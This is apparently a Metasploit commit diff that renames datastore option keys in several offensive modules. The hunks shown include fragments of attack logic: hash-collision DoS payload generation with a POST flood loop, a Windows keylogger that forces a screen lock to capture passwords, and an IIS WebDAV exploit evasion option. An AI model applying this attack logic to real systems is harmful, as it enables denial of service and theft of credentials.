Fix instances of invalid lower-case datastore use

Author: HD Moore

modules/auxiliary/analyze/jtr_unshadow.rb

@@ -31,15 +31,15 @@ def initialize
 
 		register_options(
 			[
-				OptPath.new('passwd', [true, 'The path to the passwd file']),
-				OptPath.new('shadow', [true, 'The path to the shadow file']),
+				OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
+				OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
 				OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
 			], self.class)
 	end
 
 	def run
 
-		unshadow = john_unshadow(datastore['passwd'],datastore['shadow'])
+		unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH'])
 		if unshadow
 			print_good(unshadow)
 			filename= "#{datastore['IP']}_Linux_Hashes.txt"

modules/auxiliary/dos/http/hashcollision_dos.rb

@@ -61,11 +61,11 @@ def initialize(info = {})
 
 		register_advanced_options(
 		[
-			OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
-			OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
-			OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
-			OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
-			OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
+			OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
+			OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
+			OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
+			OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
+			OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
 		], self.class)
 	end
 
@@ -77,12 +77,12 @@ def generate_payload
 		collision_chars = compute_collision_chars
 		return nil if collision_chars == nil
 
-		length = datastore['payloadlength']
+		length = datastore['PayloadLength']
 		size = collision_chars.length
 		post = ""
 		max_value_float = size ** length
 		max_value_int = max_value_float.floor
-		print_status("Generating POST data...")
+		print_status("#{rhost}:#{rport} - Generating POST data...")
 		for i in 0.upto(max_value_int)
 			input_string = i.to_s(size)
 			result = input_string.rjust(length, "0")
@@ -95,10 +95,10 @@ def generate_payload
 	end
 
 	def compute_collision_chars
-		print_status("Trying to find hashes...") if @recursive_counter == 1
+		print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
 		hashes = {}
 		counter = 0
-		length = datastore['collisioncharlength']
+		length = datastore['CollisionCharLength']
 		a = []
 		for i in @char_range
 			a << i.chr
@@ -123,25 +123,25 @@ def compute_collision_chars
 				hashes[counter.to_s] = item
 				counter = counter + 1
 			end
-			if counter >= datastore['collisionchars']
+			if counter >= datastore['CollisionChars']
 				break
 			end
 		end
-		if counter < datastore['collisionchars']
+		if counter < datastore['CollisionChars']
 			# Try it again
-			if @recursive_counter > datastore['recursivemax']
-				print_error("Not enough values found. Please start this script again.")
+			if @recursive_counter > datastore['RecursiveMax']
+				print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
 				return nil
 			end
-			print_status("#{@recursive_counter}: Not enough values found. Trying again...")
+			print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
 			@recursive_counter = @recursive_counter + 1
 			hashes = compute_collision_chars
 		else
-			print_status("Found values:")
+			print_status("#{rhost}:#{rport} - Found values:")
 			hashes.each_value do |item|
-				print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
+				print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
 				item.each_char do |c|
-					print_status("\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
+					print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
 				end
 			end
 		end
@@ -174,32 +174,32 @@ def run
 			when /PHP/
 				@function = method(:djbx33a)
 				@char_range = Range.new(0, 255)
-				if (datastore['maxpayloadsize'] <= 0)
-					datastore['maxpayloadsize'] = 8
+				if (datastore['MaxPayloadSize'] <= 0)
+					datastore['MaxPayloadSize'] = 8   # XXX: Refactor
 				end
 			when /Java/
 				@function = method(:djbx31a)
 				@char_range = Range.new(0, 128)
-				if (datastore['maxpayloadsize'] <= 0)
-					datastore['maxpayloadsize'] = 2
+				if (datastore['MaxPayloadSize'] <= 0)
+					datastore['MaxPayloadSize'] = 2   # XXX: Refactor
 				end
 			else
 				raise RuntimeError, "Target #{datastore['TARGET']} not supported"
 		end
 
-		print_status("Generating payload...")
+		print_status("#{rhost}:#{rport} - Generating payload...")
 		payload = generate_payload
 		return if payload == nil
 		# trim to maximum payload size (in MB)
-		max_in_mb = datastore['maxpayloadsize']*1024*1024
+		max_in_mb = datastore['MaxPayloadSize']*1024*1024
 		payload = payload[0,max_in_mb]
 		# remove last invalid(cut off) parameter
 		position = payload.rindex("=&")
 		payload = payload[0,position+1]
-		print_status("Payload generated")
+		print_status("#{rhost}:#{rport} -Payload generated")
 
 		for x in 1..datastore['RLIMIT']
-			print_status("Sending request ##{x}...")
+			print_status("#{rhost}:#{rport} - Sending request ##{x}...")
 			opts = {
 				'method'	=> 'POST',
 				'uri'		=> datastore['URL'],
@@ -211,7 +211,7 @@ def run
 				c.send_request(r)
 				# Don't wait for a response, can take hours
 			rescue ::Rex::ConnectionError => exception
-				print_error("#{rhost}:#{rport} - unable to connect: '#{exception.message}'")
+				print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
 				return
 			ensure
 				disconnect(c) if c

modules/auxiliary/scanner/dect/call_scanner.rb

@@ -49,7 +49,7 @@ def run
 		@calls = {}
 
 		print_status("Opening interface: #{datastore['INTERFACE']}")
-		print_status("Using band: #{datastore['band']}")
+		print_status("Using band: #{datastore['BAND']}")
 
 		open_coa
 

modules/auxiliary/scanner/dect/station_scanner.rb

@@ -39,7 +39,7 @@ def run
 		@base_stations = {}
 
 		print_status("Opening interface: #{datastore['INTERFACE']}")
-		print_status("Using band: #{datastore['band']}")
+		print_status("Using band: #{datastore['BAND']}")
 
 		open_coa
 

modules/encoders/x86/nonupper.rb

@@ -54,7 +54,7 @@ def decoder_stub(state)
 	def encode_block(state, block)
 		begin
 			newchar, state.key, state.decoder_key_size =
-				Rex::Encoder::NonUpper::encode_byte(datastore['badchars'], block.unpack('C')[0], state.key, state.decoder_key_size)
+				Rex::Encoder::NonUpper::encode_byte(datastore['BadChars'], block.unpack('C')[0], state.key, state.decoder_key_size)
 		rescue RuntimeError => e
 			# This is a bandaid to deal with the fact that, since it's in
 			# the Rex namespace, the encoder itself doesn't have access to the

modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb

@@ -52,7 +52,8 @@ module only works against Windows 2000. It should have a
 
 		register_evasion_options(
 			[
-				OptBool.new('invalid_search_request', [false, 'Replace the valid XML search with random data', 'false']),
+				# XXX: We don't have a style for module-local evasion settings yet, so use Advanced's formatting
+				OptBool.new('InvalidSearchRequest', [false, 'Replace the valid XML search with random data', false]),
 
 				# XXX - ugh, there has to be a better way to remove entries from an
 				# enum that overwriting the evalable enum option
@@ -133,7 +134,7 @@ def exploit
 			"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
 			"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
 
-		if datastore['invalid_search_request'] == true
+		if datastore['InvalidSearchRequest'] == true
 			xml = rand_text(rand(1024) + 32)
 		end
 

modules/post/multi/manage/system_session.rb

@@ -52,7 +52,7 @@ def run
 		cmd = ""
 
 		begin
-			case datastore['type']
+			case datastore['TYPE']
 			when /auto/i
 				cmd = auto_create_session(lhost,lport)
 			when /ruby/i

modules/post/windows/capture/lockout_keylogger.rb

@@ -174,14 +174,14 @@ def run
 		end
 
 		mypid = session.sys.process.getpid
-		if datastore['pid'] == 0
+		if datastore['PID'] == 0
 			targetpid = get_winlogon
 			if targetpid == 'exit'
 				return
 			end
 			print_status("Found WINLOGON at PID:#{targetpid}")
 		else
-			targetpid = datastore['pid']
+			targetpid = datastore['PID']
 			print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
 		end
 
@@ -210,7 +210,7 @@ def run
 
 		print_good("Keylogging for #{client.info}")
 		file_local_write(logfile,"#{client.info}\n")
-		if datastore['wait'] then
+		if datastore['WAIT'] then
 			print_status("Waiting for user to lock out their session")
 			locked = false
 			while locked == false
@@ -225,9 +225,9 @@ def run
 		else
 			currentidle = session.ui.idle_time
 			print_status("System has currently been idle for #{currentidle} seconds")
-			while currentidle <= datastore['locktime'] do
+			while currentidle <= datastore['LOCKTIME'] do
 				print_status("Current Idle time: #{currentidle} seconds")
-				select(nil,nil,nil,datastore['heartbeat'])
+				select(nil,nil,nil,datastore['HEARBEAT'])
 				currentidle = session.ui.idle_time
 			end
 			client.railgun.user32.LockWorkStation()
@@ -244,7 +244,7 @@ def run
 		end
 
 		if startkeylogger(session)
-			keycap(session, datastore['interval'], logfile)
+			keycap(session, datastore['INTERVAL'], logfile)
 		end
 	end
 end

modules/post/windows/manage/mssql_local_auth_bypass.rb

@@ -42,10 +42,10 @@ def initialize(info={})
 	def run
 
 		# Set verbosity level
-		verbose = datastore['verbose'].to_s.downcase
+		verbose = datastore['VERBOSE'].to_s.downcase
 
 		# Set instance name (if specified)
-		instance = datastore['instance'].to_s.upcase
+		instance = datastore['INSTANCE'].to_s.upcase
 
 		# Display target
 		print_status("Running module against #{sysinfo['Computer']}")